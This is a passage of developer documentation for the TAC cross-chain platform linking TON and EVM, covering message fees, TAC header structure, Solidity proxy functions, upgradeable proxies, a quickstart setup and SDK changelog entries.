}
```
### Field Usage Guide
**shardsKey**: Developer ID. It is recommended to set it from the tacHeader.
**tvmTarget**: The recipient address on the TON network in base64 format starting with "EQ".
**tvmPayload**: A custom payload to be executed on the TON side. Currently not supported — must be empty.
**tvmProtocolFee**: The protocol fee you must pay. For roundTrip messages, this fee is already covered on the TON side, so set this field to 0.
**tvmExecutorFee**: The fee you offer to the executor on the TON side (in TAC tokens). For roundTrip messages, the fee is already locked on TON, so set this field to 0.
**tvmValidExecutors**: A list of executors you trust to execute the message on the TON side. For roundTrip messages, this must be an empty array; the trusted executors are already defined in the initial TON message. For direct messages, you can get trusted executors using `settings.getTrustedTVMExecutors()` or use an empty array for default executors.
**toBridge**: List of ERC20 tokens you want to bridge to the TON network and transfer to tvmTarget.
Learn how to compose them [here](/proxies/custom-proxy/proxy-functions#complete-implementation-walkthrough).
**toBridgeNFT**: List of NFTs you want to bridge to the TON network and transfer to tvmTarget.
Learn how to compose them [here](/proxies/advanced-custom-proxy/nft-support).
## Round-Trip Messages (TON → TAC → TON)
For messages responding back to TON users, fees are paid upfront on TON:
```solidity theme={null}
function respondToTON(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
// Process your logic here
// Send result back to TON - NO FEES REQUIRED
OutMessageV1 memory outMsg = OutMessageV1({
shardsKey: header.shardsKey, // Links to original operation
tvmTarget: header.tvmCaller, // Send back to original user
tvmPayload: "", // Must be empty
tvmProtocolFee: 0, // Set to 0 for RoundTrip - already paid on TON
tvmExecutorFee: 0, // Set to 0 for RoundTrip - already paid on TON
tvmValidExecutors: new string[](0), // Empty for RoundTrip - already defined on TON or you can use getTrustedTVMExecutors(),
toBridge: tokensToSend,
toBridgeNFT: new NFTAmount[](0)
});
_sendMessageV1(outMsg, 0); // 0 TACs to send back
}
```
> You can retrieve the list of default trusted executors by calling settings.getTrustedTVMExecutors() on the Settings contract.
**Key Points**:
* User pays all fees upfront on TON
* RoundTrip response messages must set `tvmProtocolFee: 0` and `tvmExecutorFee: 0`
* Use same `shardsKey` from incoming header
* Set `tvmValidExecutors` to empty array - executors already defined in original TON message
## Direct TAC → TON Messages
For messages initiated directly from TAC (not in response), your contract pays the fees:
```solidity theme={null}
interface ICrossChainLayer {
function getProtocolFee() external view returns (uint256);
}
function sendDirectMessage() external payable {
// Get current protocol fee dynamically (example usage)
uint256 protocolFee = ICrossChainLayer(_getCrossChainLayerAddress()).getProtocolFee();
// Note: Currently there is no official library to calculate the exact executor fee
// It is recommended to:
// - Overestimate slightly, or
// - Use TAC SDK for better fee estimation
uint256 executorFee = msg.value - protocolFee; // Rough example - use tacSDK for production
OutMessageV1 memory outMsg = OutMessageV1({
shardsKey: generateNewShardsKey(), // New operation
tvmTarget: "EQUserAddress...", // TON recipient
tvmPayload: "", // Must be empty - not supported
tvmProtocolFee: protocolFee, // Contract pays current protocol fee
tvmExecutorFee: executorFee, // Contract pays executor fee
tvmValidExecutors: new string[](0), // Use default executors
toBridge: tokensToSend,
toBridgeNFT: new NFTAmount[](0)
});
_sendMessageV1(outMsg, 0); // 0 TACs to send back
}
```
**Fee Estimation Challenge**: Currently, there is no official library to calculate the exact executor fee, so it is recommended to:
* Overestimate slightly, or
* Use tacSDK for better fee estimation
Executor fees are market-determined based on network conditions and can vary significantly.
## What's Next?
Now that you understand the theory, let's dive into the implementation:
Build the core logic that processes cross-chain calls and arguments
# Message Flow
Source: https://docs.tac.build/proxies/custom-proxy/message-flow
Learn how cross-chain messages work and what data they contain
Before diving into the TAC Proxy development itself,
we recommend getting familiar with concepts such as **Message Flow** (this page),
[Proxy Functions](/proxies/custom-proxy/proxy-functions),
and [Fee Management](/proxies/custom-proxy/fee-management).
Understanding how messages flow between TON and TAC EVM is crucial for building effective proxy contracts. This guide explains the data structures and message patterns.
## RoundTrip Messages
If a TON → TAC call is reverted on the EVM side after tokens have been
bridged, a rollback transaction is created to send the bridged assets back to
the originating TON wallet.
To guarantee this behavior, the call must be
treated (and paid) as a RoundTrip. The SDK sets messages to RoundTrip by
default, so on revert (e.g., slippage), funds will be returned automatically.
RoundTrip messages follow this flow:
1. **TON user** sends transaction with assets and function call
2. **TAC proxy** receives the call and processes it
3. **TAC proxy** sends result assets back to the same TON user
With RoundTrip messages, the user pays all fees upfront on TON, so your proxy sets fees to 0 when responding.
> If you expect the TAC-side transaction may revert and assets need to be bridged back to TON, you must pay fees as for a RoundTrip message.
> By default, the SDK treats all messages as RoundTrip, so even if a revert occurs (e.g., due to slippage), the funds will be returned to the original TON user because the RoundTrip fee was already paid.
## Message Processing
When a TON user interacts with your EVM contract:
1. User submits a transaction on TON with target contract, function name, and arguments
2. Assets (if any) are bridged to TAC and transferred to your proxy contract
3. CrossChainLayer calls your proxy function with TAC header and arguments
4. Your contract can optionally send assets back to TON using `_sendMessageV1()`
## TAC Header Structure
Every cross-chain call includes a TAC header with verified information about the original TON transaction:
```solidity theme={null}
struct TacHeaderV1 {
uint64 shardsKey; // Developer/operation identifier
uint256 timestamp; // Block timestamp from TON
bytes32 operationId; // Unique operation ID
string tvmCaller; // TON user's address (base64, starts with EQ)
bytes extraData; // Additional data (currently unused)
}
```
### Header Field Details
**shardsKey**: Links related cross-chain operations together. Use this in your response messages to maintain the connection.
**timestamp**: The block timestamp from the original TON transaction. Useful for time-based logic or debugging.
**operationId**: Unique identifier for this specific cross-chain operation. Use for logging and tracking.
**tvmCaller**: The TON user's wallet address. **!!! Important !!!** It is always base64 mainnet bounceable format and starts with "EQ". This is your authenticated user identity - treat it like `msg.sender` in regular Ethereum contracts.
**extraData**: For now it's always a zero-bytes array and not used.
### Decoding the Header
```solidity theme={null}
function processMessage(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// Decode header using inherited function
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
// Access user information
string memory tonUser = header.tvmCaller;
uint256 operationTime = header.timestamp;
bytes32 opId = header.operationId;
// Use header data in your logic
require(block.timestamp - operationTime < 3600, "Operation too old");
emit MessageProcessed(tonUser, opId, block.timestamp);
}
```
## Asset Handling in Messages
### Token Assets
Tokens are automatically transferred to your contract before your function is called:
```solidity theme={null}
struct MyTokenStruct {
address evmAddress;
uint256 amount;
}
function handleTokens(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// Decode the tokens you're expecting
MyTokenStruct[] memory expectedTokens = abi.decode(arguments, (MyTokenStruct[]));
// Tokens are already in your contract balance
for (uint i = 0; i < expectedTokens.length; i++) {
uint256 balance = IERC20(expectedTokens[i].evmAddress).balanceOf(address(this));
require(balance >= expectedTokens[i].amount, "Expected tokens not received");
// Your implementation how to process the tokens
processToken(expectedTokens[i].evmAddress, expectedTokens[i].amount);
}
}
```
## What's Next?
Now that you understand the message flow, learn how to implement the core proxy function logic:
Build the core logic that processes cross-chain calls and arguments
# Proxy Functions
Source: https://docs.tac.build/proxies/custom-proxy/proxy-functions
Build the core logic that processes cross-chain calls and arguments
Proxy functions are the heart of your TAC contracts - they receive cross-chain calls from TON users and execute your application logic. This guide covers how to implement robust proxy functions that handle different use cases and error conditions.
## Function Signature Requirements
Every proxy function that handles cross-chain calls must follow this exact pattern:
```solidity theme={null}
function (bytes calldata, bytes calldata) external _onlyCrossChainLayer;
```
The function above also can be `payable`.
You can name the function as you wish (e.g. `myProxyFunction`, `invokeWithCallback`, `swap`, etc.), but it must accept two bytes arguments:
```solidity theme={null}
function yourFunctionName(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// Your implementation
}
```
**Required Components:**
* `bytes calldata tacHeader` - Contains verified TON user information
* `bytes calldata arguments` - Your custom encoded parameters
* `external` visibility - Functions must be externally callable
* `_onlyCrossChainLayer` modifier - Security requirement
**Important:** Only the Cross-Chain Layer (CCL) contract can call these functions. When a user on TON sends a message, the CCL automatically transfers any bridged tokens to your proxy contract before calling your function.
## Parameter Encoding and Decoding
### Simple Parameters
For basic data types, use straightforward encoding:
```solidity theme={null}
struct SimpleParams {
address token;
uint256 amount;
address recipient;
}
function handleSimpleParams(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// Decode parameters
SimpleParams memory params = abi.decode(arguments, (SimpleParams));
// Use the parameters
IERC20(params.token).transfer(params.recipient, params.amount);
}
```
### Complex Parameters
For complex data with arrays or nested structures:
```solidity theme={null}
struct ComplexParams {
address[] tokens;
uint256[] amounts;
bytes swapData;
uint256 deadline;
}
function handleComplexParams(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
ComplexParams memory params = abi.decode(arguments, (ComplexParams));
// Validate array lengths match
require(params.tokens.length == params.amounts.length, "Array length mismatch");
// Process each token
for (uint i = 0; i < params.tokens.length; i++) {
// Your custom logic here
IERC20(params.tokens[i]).transfer(msg.sender, params.amounts[i]);
}
// Use additional data
if (params.swapData.length > 0) {
// Your custom swap logic here
}
}
```
## Complete Implementation Walkthrough
Let's build a complete proxy function step-by-step,
showing external dApp integration - the most common real-world pattern implementing TON->TAC->TON transaction type:
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol";
import { TokenAmount, OutMessageV1, TacHeaderV1, NFTAmount } from "@tonappchain/evm-ccl/contracts/core/Structs.sol";
interface IDappContract {
function doSomething(address tokenA, address tokenB, uint256 amount)
external returns (uint256);
}
contract MyProxy is TacProxyV1 {
IDappContract public dappContract;
struct MyProxyFunctionArguments {
address tokenA;
address tokenB;
uint256 amount;
}
constructor(address _dappContract, address _crossChainLayer)
TacProxyV1(_crossChainLayer)
{
dappContract = IDappContract(_dappContract);
}
function myProxyFunction(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// 1. Decode the custom arguments
MyProxyFunctionArguments memory args = abi.decode(arguments, (MyProxyFunctionArguments));
// 2. Approve tokens to your Dapp contract for some action
IERC20(args.tokenA).approve(address(dappContract), args.amount);
// 3. Call the Dapp contract
uint256 tokenBAmount = dappContract.doSomething(
args.tokenA,
args.tokenB,
args.amount
);
// 4. Prepare tokens to send back to TON
TokenAmount[] memory tokensToBridge = new TokenAmount[](1);
tokensToBridge[0] = TokenAmount(args.tokenB, tokenBAmount);
// 5. Approve the CrossChainLayer to pull them
IERC20(tokensToBridge[0].evmAddress).approve(
_getCrossChainLayerAddress(),
tokensToBridge[0].amount
);
// 6. Decode the TAC header
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
// 7. Form an OutMessage
OutMessageV1 memory outMsg = OutMessageV1({
shardsKey: header.shardsKey, // Use same key for RoundTrip
tvmTarget: header.tvmCaller, // Send back to caller
tvmPayload: "", // Must be empty - not supported
tvmProtocolFee: 0, // 0 for RoundTrip - already paid on TON
tvmExecutorFee: 0, // 0 for RoundTrip - already paid on TON
tvmValidExecutors: new string[](0), // Empty for RoundTrip - already defined on TON
toBridge: tokensToBridge, // Result tokens
toBridgeNFT: new NFTAmount[](0) // No NFTs
});
// 8. Send message back through CrossChainLayer with zero native
_sendMessageV1(outMsg, 0); // 0 TACs to send back
}
}
```
**This example shows the complete flow:**
* External Dapp contract integration (lines 11-13, 19-21, 32-38)
* Token approval for external contracts (line 33)
* Processing and getting results (lines 35-38)
* RoundTrip response pattern (lines 48-58)
* Proper fee handling for RoundTrip messages (lines 52-53)
**Important Notes:**
* Use `_sendMessageV1` for ERC20 token bridging only
* The CCL automatically handles token transfers to your proxy before calling your function
* Always include the `NFTAmount` import when using OutMessageV1
## What's Next?
Now that you understand how to implement proxy functions, learn about managing fees:
Understand how to handle protocol fees and executor payments
# Upgradeable Proxy Example
Source: https://docs.tac.build/proxies/custom-proxy/upgradeable-proxy
Build proxy contracts that can evolve and be upgraded over time
TAC provides `TacProxyV1Upgradeable` for contracts that need to be upgraded after deployment. Use this base contract when you need upgrade functionality.
## Basic Upgradeable Structure
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import { TacProxyV1Upgradeable } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1Upgradeable.sol";
import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol";
contract MyUpgradeableProxy is
Initializable,
OwnableUpgradeable,
UUPSUpgradeable,
TacProxyV1Upgradeable
{
// Your state variables go here
mapping(string => uint256) public userBalances;
uint256 public totalProcessed;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function initialize(address owner, address crossChainLayer)
public
initializer
{
__UUPSUpgradeable_init();
__Ownable_init(owner);
__TacProxyV1Upgradeable_init(crossChainLayer);
// Initialize your contract state
totalProcessed = 0;
}
function _authorizeUpgrade(address newImplementation)
internal
override
onlyOwner
{}
// Your proxy functions go here
function processRequest(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
uint256 amount = abi.decode(arguments, (uint256));
userBalances[header.tvmCaller] += amount;
totalProcessed += amount;
emit RequestProcessed(header.tvmCaller, amount);
}
event RequestProcessed(string indexed user, uint256 amount);
}
```
## Key Difference from Basic Contracts
The **inheritance order** is critical and must follow OpenZeppelin's recommended pattern.
```solidity theme={null}
contract MyUpgradeableProxy is
Initializable, // Must be first
OwnableUpgradeable, // Access control
UUPSUpgradeable, // Upgrade mechanism
TacProxyV1Upgradeable // TAC functionality (last)
```
## Deployment
Deployment differs from the basic example. UUPS pattern is used in the example below:
```javascript theme={null}
import { Signer } from "ethers";
import { MyUpgradeableProxy } from "../../typechain-types";
import { deployUpgradable } from '@tonappchain/evm-ccl'
import { DeployProxyOptions } from "@openzeppelin/hardhat-upgrades/dist/utils";
import hre from 'hardhat';
const proxyOptsUUPS: DeployProxyOptions = {
kind: "uups",
unsafeAllow: ["constructor"]
};
export async function deployMyUpgradeableProxy(
deployer: Signer,
crossChainLayerAddress: string,
owner?: string,
): Promise {
const myUpgradeableProxy = await deployUpgradable(
deployer,
hre.artifacts.readArtifactSync('MyUpgradeableProxy'),
[owner || await deployer.getAddress(), crossChainLayerAddress],
proxyOptsUUPS,
undefined,
true // verbose
);
await myUpgradeableProxy.waitForDeployment();
return myUpgradeableProxy;
}
main().catch(console.error);
```
## What's Next?
Learn even more sophisticated development patterns
# TAC Proxies
Source: https://docs.tac.build/proxies/introduction
TAC Proxy contracts receive cross-chain calls and assets from TON users and route them to EVM dApps and vice versa
Learn more about TAC Proxies role on [this page](/why-tac/components/proxy-contracts).
## Proxy Solutions
When choosing a proxy solution, you currently have two options:
* **Custom**: Build and deploy a proxy for your EVM dApp using Solidity.
Test locally using `TacLocalTestSdk` library or by using our joint [TON + TAC Testnet](/sdk/overview#testnet).
This option supports any level of complexity.
* **Agnostic**: Implement calls to your EVM dApp directly in your frontend or JS-based backend using our SDK.
No deployment needed.
Test on our joint [TON + TAC Testnet](/sdk/overview#testnet).
Has limitations, preferred for relatively simple use cases.
Theory and examples how to build a custom proxy yourself
Introductory page. Only SDK required
# Overview
Source: https://docs.tac.build/quickstart/overview
Get started with TAC development in minutes, building hybrid dApps that connect TON and EVM ecosystems
Get up and running with TAC development quickly by building your first hybrid dApp. This guide will take you from zero to a working application that connects TON wallets with EVM smart contracts in just a few minutes.
The fastest way to bootstrap a TAC project is using our CLI tool:
```bash theme={null}
npx create-tac-app my-tac-project
```
This creates a new directory with a fully configured TAC project including:
* Smart contracts with proxy implementation
* Frontend with TAC SDK integration
* TON wallet connection setup
* Cross-chain messaging examples
Make sure you have the required tools and accounts:
* Node.js v18.0.0 or higher
* Blockchain Accounts:
* TON wallet (like [Tonkeeper](https://tonkeeper.com/) or [Wallet](https://wallet.tg/))
* *(Optional)* EVM wallet (like [Metamask](https://metamask.io/)) with TAC Testnet network added (Use button `Add TAC SPB` in upper right corner [over here](https://spb.explorer.tac.build/))
* Get `TON` on [TON Testnet Faucet](https://t.me/testgiver_ton_bot). For the sake of this demo `TON` tokens are enough.
* *(Optional)* Get `TAC` on [TAC Testnet Faucet](https://spb.faucet.tac.build). If you choose to deploy your contracts to TAC Testnet.
You can skip this step and use already deployed and pre-set contracts within `my-tac-project` or deploy fresh ones and yours truly.
Create `.env` file out of `.env.example`.
For the deployment navigate to the contracts directory and deploy to TAC Testnet:
```bash theme={null}
cd my-tac-project/contracts
npm install
npx hardhat compile
npx hardhat run scripts/deploy.ts --network tacTestnet
```
**Take note of the deployed addresses:**
* SimpleMessage contract address
* MessageProxy contract address
* MockToken contract address
These will be displayed in your console after successful deployment. Also saved to `addresses.json` file.
To use the specific addresses from the previous step open `lib/contract_addresses.ts` and update with your deployed contract addresses:
```typescript theme={null}
export const CONTRACT_ADDRESSES = {
SIMPLE_MESSAGE: "0xYourSimpleMessageAddress",
MESSAGE_PROXY: "0xYourMessageProxyAddress"
};
```
This connects your frontend to the smart contracts you just deployed.
Return to the project root and start the Next.js development server:
```bash theme={null}
cd ..
npm install
npm run dev
```
Your TAC application is now running at [http://localhost:3000](http://localhost:3000).
You should see a clean interface with TON Connect integration and example
messaging functionality.
Open your application in the browser and:
1. Click the "Connect Wallet" button
2. Choose your TON wallet (Wallet, Tonkeeper, etc.)
3. Approve the connection in your wallet
4. Verify your wallet address appeared in the interface
The starter app includes a messaging example that demonstrates
cross-chain communication from TON to your EVM smart contracts.
Try the example functionality:
1. **Send a Message**: Click 'Send Cross-Chain Message' and approve it in you TON wallet to send a data from TON to your EVM contract
2. **Track Status**: Watch the transaction progress through cross-chain stages
3. **View Results**: See the message stored on the EVM side
This demonstrates the complete flow of hybrid dApp interaction the TON->TAC way. TON->TAC->TON and TAC->TON are also possible with different dApp architectures.
Select different `CONTRACT_ADDRESS.MESSAGE_PROXY` in `lib/contracts.ts`, you'll see the related comment.
Or do it in a more advanced way:
1. Navigate to `contracts/MessageProxy.sol` and uncomment the related code block.
2. Deploy a set of contracts with `npx hardhat run scripts/deploy.ts --network tacTestnet`
3. Update `lib/contracts.ts` with the new contract addresses.
Open the UI and repeat the previous step.
Now you can start customizing dApp logic for your specific use case.
**Smart Contracts** (`contracts/` directory):
* Modify `SimpleMessage.sol` for your business logic
* Update `MessageProxy.sol` for custom cross-chain handling
* Add new contracts as needed
**Frontend** (`components/` directory):
* Customize the UI components
* Add new pages and functionality
**Cross-Chain Features**:
Integrate additional TAC SDK features like:
* Asset (FT, NFT) bridging between TON and EVM
* Multi-step cross-chain workflows
* Advanced transaction tracking
## Next Steps
Take a closer look into existing hybrid dApp implementations
Create custom proxy contracts for advanced cross-chain operations
Master the TAC SDK for powerful frontend integrations
Set up Hardhat, Foundry, and other development tools
## Common Issues & Solutions
**Check your setup:**
* Verify you have testnet TAC tokens in your deployment wallet
* Ensure your private key is correctly set in `.env`
* Confirm you're using the [correct network configuration](/ecosystem/network-info#testnet)
* Verify contract addresses on the [TAC Testnet explorer](https://spb.explorer.tac.build)
**Troubleshooting steps:**
* Sometimes Tonconnect may not show you the send transaction popup. Try several times until success
* Make sure you're using a supported TON wallet in the pop-up TON Connect menu in the UI
* Check that your wallet is set to TON testnet
* Clear your browser cache and try again
* Verify the my-tac-project TON Connect [manifest](https://raw.githubusercontent.com/TacBuild/starter-frontend/refs/heads/main/public/tonconnect-manifest.json) is accessible
**Common causes:**
* Insufficient TON balance for gas fees
* Invalid contract addresses in configuration
* Network connectivity issues
**Solutions:**
* Check balances in both TON and TAC wallets
* Verify contract addresses are correct
* Use the transaction tracking to identify where failures occur
# Agnostic Proxy
Source: https://docs.tac.build/sdk/advanced-usage/agnostic-proxy
Build complex DeFi workflows with dynamic value replacement and efficient hook systems. Eliminate the need for custom [TAC Proxies](/why-tac/components/proxy-contracts).
Will be available soon!
# Batch Send
Source: https://docs.tac.build/sdk/advanced-usage/batch-send
Send multiple cross-chain transactions simultaneously using method `sendCrossChainTransactions`:
```javascript theme={null}
const batchTransactions = async () => {
// Define multiple transactions
const transactions = [
{
evmProxyMsg: {
evmTargetAddress: "0xContract1...",
methodName: "method1(bytes,bytes)",
encodedParameters: "0x...",
},
assets: [{ amount: 1.0 }],
},
{
evmProxyMsg: {
evmTargetAddress: "0xContract2...",
methodName: "method2(bytes,bytes)",
encodedParameters: "0x...",
},
assets: [{ address: "EQJetton...", amount: 100 }],
},
];
// Convert to batch format
const crosschainTxs = transactions.map((tx) => ({
evmProxyMsg: tx.evmProxyMsg,
assets: tx.assets || [],
}));
// Send batch
const transactionLinkers = await tacSdk.sendCrossChainTransactions(
sender,
crosschainTxs
);
return transactionLinkers.map((linker) => linker.operationId);
};
```
# Python SDK
Source: https://docs.tac.build/sdk/changelog/python-sdk
Download from PyPI
Below are listed the notable changes to the tac-sdk, including new features, improvements, bug fixes, and breaking changes.
### Added
* **New Precheck Helper**: Added helper utilities for bridging WETH and cbBTC through `ETH<->TAC<->TON` routes
### Changed
* **Dependency management**: Moved to `poetry`
### Initialized
* Ported all already existing functionality from TypeScript SDK
# TypeScript SDK
Source: https://docs.tac.build/sdk/changelog/ts-sdk
Download from NPM
Below are listed the notable changes to the @tonappchain/sdk, including new features, improvements, bug fixes, and breaking changes.
### Added
* TEP-526 support for scaled UI in FT tokens with display multiplier functionality (display multiplier caching with 5-minute TTL for FT assets)
* Fee parameter constants and factory functions for transaction fee calculation steps.
* Automatic TON blockchain fee parameters retrieval from network config with fallback to standard values.
* Enhanced transaction tracking with failure case handling and track params.
* TacSdk support for preparing cross-chain payloads.
* New `TacExplorerClient` class for interacting with TAC Explorer API.
* `getTransactions()` method added to `ContractOpener` interface for standardized transaction fetching.
### Changed
* `Configuration` class now retrieves and stores TON fee parameters during initialization.
* Refactored transaction finalization logic for improved speed and reliability.
* Refactoring of ContractOpener architecture:
* All openers converted to class-based implementations extending `BaseContractOpener`:
* `TonClientOpener`: TonClient implementation.
* `TonClient4Opener`: TonClient4 implementation.
* `LiteClientOpener`: LiteClient implementation with connection management.
* `SandboxOpener`: Sandbox testing implementation.
* Eliminated code duplication by moving common logic to base class:
* `getTransactionByHash()`: Transaction lookup with retry logic.
* `getAdjacentTransactions()`: Child and parent transaction discovery.
* `trackTransactionTree()`: Full transaction tree validation.
* Each opener now implements only provider-specific methods (`open`, `getContractState`, `getTransactions`, `getAddressInformation`, `getConfig`).
* Removed `helpers.ts` file - functionality integrated into `BaseContractOpener`.
* Shared utility functions in `OpenerUtils.ts`:
* `getHttpEndpointWithRetry()`: Unified HTTP endpoint retrieval with retry logic.
* `getHttpV4EndpointWithRetry()`: Unified HTTP V4 endpoint retrieval with retry logic.
* Transaction tree validation errors now always include transaction hash, `exitCode`, and `resultCode` for better debugging.
### Changed
* Fixed bug with evm address of `TON` in `normalizeAssets`.
### Added
* **New Assets Module**: Added classes and utilities for working with FT, NFT, and TON assets, including AssetFactory and AssetCache
* **Logger Components**: ConsoleLogger and NoopLogger for flexible logging configuration - SDK components are silent by default unless logger is provided
* **Simulator Component**: Internal simulation component for TAC-side transaction simulation, gas estimation, and fee calculation
* **Transaction Managers**: TONTransactionManager and TACTransactionManager for handling cross-chain transaction execution
* **TonTxFinalizer**: Utility for verifying transaction tree success on TON blockchain using TON Center API
* **RetryableContractOpener**: Enhanced contract opener for improved SDK stability and reliability
* **Balance Verification**: Automatic balance checking before sending cross-chain transactions
* **Batch Transaction Support**: RawSender can now send transactions in batches (254 for V5R1 wallets, 4 for other wallet versions)
* **Wait Options**: Optional `waitOptions` parameter for OperationTracker methods and `sendCrossChainTransaction(s)` to automatically wait for operation completion
* **AgnosticProxy SDK**: Experimental SDK for building complex DeFi operations with dynamic value replacement (testing only)
### Changed
* **Performance Optimizations**: Significantly improved SDK initialization speed by parallelizing blockchain queries and initialization steps
* **Sender Architecture**: Refactored BatchSender, RawSender, and TonConnectSender with improved contractOpener and retryableContractOpener
* **Core Infrastructure**: Updated error handling, structs, utilities, and OperationTracker components
* **Method Signatures**: OperationTracker methods and `sendCrossChainTransaction(s)` now accept optional `waitOptions` for automatic completion waiting
### Changed
* Switched to spb(chain) set of addresses
### Added
* Advanced options to `sendCrossChainTransaction`
* Method to send multiple crosschain transactions at once: `sendCrossChainTransactions`
* Batch sending support for crosschain transactions
* Error handling while sending crosschain transactions
### Changed
* TonClient with TAC endpoint as default contract opener
### Added
* `metaInfo` field to the `ExecutionStages`
* LiteSequencerClient to handle lite sequencer requests and its parameters
* Method to calculate tvmExecutorFee: `getTVMExecutorFeeInfo`
### Changed
* `getEVMTokenAddress` now automatically normalizes addresses to `EQ` form
* For TAC->TON transactions tvmExecutorFee calculated via lite sequencer
### Added
* Fee support for crosschain transactions
* New methods for requesting execution fees and simulation `getTransactionSimulationInfo`
* Methods to work with NFT items: bridging and getting addresses
### Changed
* Switched to v3 sequencer
### Changed
* Changed tvm jetton minter stateInit in `getJettonOpType`
### Changed
* Changed tvm jetton minter stateInit
### Changed
* Fixed bug with crossChainTonAmount in generating jetton payload
### Changed
* Due to an API change, updated the `operationId` retrieval. An empty string will be returned for 404 errors
### Changed
* Fixed bug with V5 wallet
### Changed
* `StageName` value namings
* `startTracking` has been improved. Added optional parameters
### Removed
* `ExecutionStagesTableData` type
* `TrackingOperationResult` type
### Added
* `OperationType` type
* `ExecutionStagesTableData` type
* `TrackingOperationResult` type
* `StageName` enum
* `getOperationType` in `OperationTracker` retrieves the `OperationType` for `operationId`
### Changed
* The stage names have been changed
* Changed namings in enums
* `OperationType` added in the `ExecutionStages`
* `ExecutionStages` structure
* Added return value in method `sendShardTransaction` in `TonConnectSender`
* Added `forceSend` option in method `sendCrossChainTransaction` in `TacSdk`
* `startTracking` has been improved. Added optional parameters and return values
### Removed
* Deleted `isBridgeOperation` (now it can be determined with `getOperationType`)
### Changed
* **Changed package tac-sdk -> @tonappchain/sdk**
* `calculateEVMTokenAddress` function now requires tokenUtils address as deployer and crossChainLayer address as constructor params
* Rename shardedId -> shardsKey
* A `gasLimit` field has been added to `EvmProxyMsg` (defaulting to undefined, which will be set through simulation in this case)
* Renamed json properties in `buildEvmDataCell`
* Renamed urls in `OperationTracker`
### Added
* `options` parameter in `getSender` method to modify W5 and Highload V3 wallets
* `customLiteSequencerEndpoints` parameter in `SDKParams` to specify custom lite sequencer endpoints
* `simulateEVMMessage` method in `TacSdk` to simulate EVM message execution on TAC side
* `getOperationStatuses` method in `OperationTracker` retrieves the statuses of multiple operations based on their respective `operationId's`
* `getOperationIdsByShardsKeys` method in `OperationTracker` retrieves the `operationId's` based on their respective `shardsKey's`
* `getStageProfilings` method in `OperationTracker` retrieves the `ExecutionStages's` based on their respective `operationId's`
* `getStageProfiling` method in `OperationTracker` retrieves the `ExecutionStages` for `operationId`
* Added a pre-check before sending to the blockchain to ensure the transaction will execute successfully on the TAC side using the `simulateEVMMessage` method
* Support for highload V3 wallet as a sender
### Added
* Contract opener `orbsOpener4` that uses new version TON endpoints
### Changed
* `orbsOpener4` set as default in SDK
### Changed
* `@tonappchain/artifacts` upgraded to `0.0.14`
### Added
* `getUserJettonBalanceExtended` method in `TacSdk` to get user jetton balance extended with decimals info
### Changed
* `AssetBridgingData` now supports multiple formats of asset value: with decimals and without decimals. In case decimals are not provided, the SDK will try to extract it from chain
### Added
* Section in readme about TACHeader
* AddLiquidity uniswap\_v2 test
* `orbsOpener` method to construct custom contractOpener for TacSDK. It uses Orbs Network and does not have rate limits
### Changed
* SDK uses orbsOpener by default
* `address` field in `AssetBridgingData` can be either EVM or TVM address
* Method `SenderFactory.getSender` requires additional parameter `network` when creating wallet wrapper using mnemonic
* Fixed `getContractState` in `liteClientOpener`
* Fixed all tests for TACHeader logic
* Version `@tonappchain/artifacts` upgraded to `0.0.12-addresses`
* Request to `/status` endpoint of Sequencer API changed from `GET` to `POST` with body
* Signature of `getOperationStatus` is changed
### Removed
* Deleted test bridgeData
### Changed
* Calculate token addresses through emulation
* Renamed `TransactionStatus` to `OperationTracker`
* Renamed method `OperationTracker.getStatusTransaction()` to `OperationTracker.getOperationStatus()`
* Renamed method `OperationTracker.getSimpifiedTransactionStatus()` to `OperationTracker.getSimplifiedOperationStatus()`
* Renamed `TacSDKTonClientParams` to `SDKParams`
* Changed struct of `SDKParams`
* Changed `ton-lite-client` library to its fork `@tonappchain/ton-lite-client`
### Added
* Custom `TONParams` and `TACParams` in `SDKParams`
* `network` and `customLiteSequencerEndpoints` params to `OperationTracker` constructor
* Static async function `create` in `TacSdk` for creating an instance of `TacSdk`
* Custom errors
* Methods that may construct custom contractOpener for TacSDK
* Method `closeConnections` in `TacSdk` for closing all network connections
* Optional method `closeConnections` to `ContractOpener` interface
### Removed
* `init` function in `TacSdk`
* Public constructor of `TacSdk`
### Added
* Method to get TVM address based on EVM address
* Tests for SDK methods using contract emulation
* Support for custom contract opener
* SDK uses @tonappchain/artifacts
* Added get methods for native token addresses
* Added support for native token address calculation in *getEVMTokenAddress* and *getTVMTokenAddress* methods
### Removed
* Support for TON wallet v1
### Added
* Code formatting
### Added
* Support for all versions of TON wallet (v1 - v5)
* SenderFactory to create AbstractSender
# Framework Integration
Source: https://docs.tac.build/sdk/frameworks
The TAC SDK can be used within different frontend frameworks. Below you can find examples for the popular ones like **React**, **Next.js** and **Vue.js**.
## Integration Examples
### React Application
Create a context provider for SDK management:
```jsx theme={null}
import React, { createContext, useContext, useEffect, useState } from "react";
import { TacSdk, Network } from "@tonappchain/sdk";
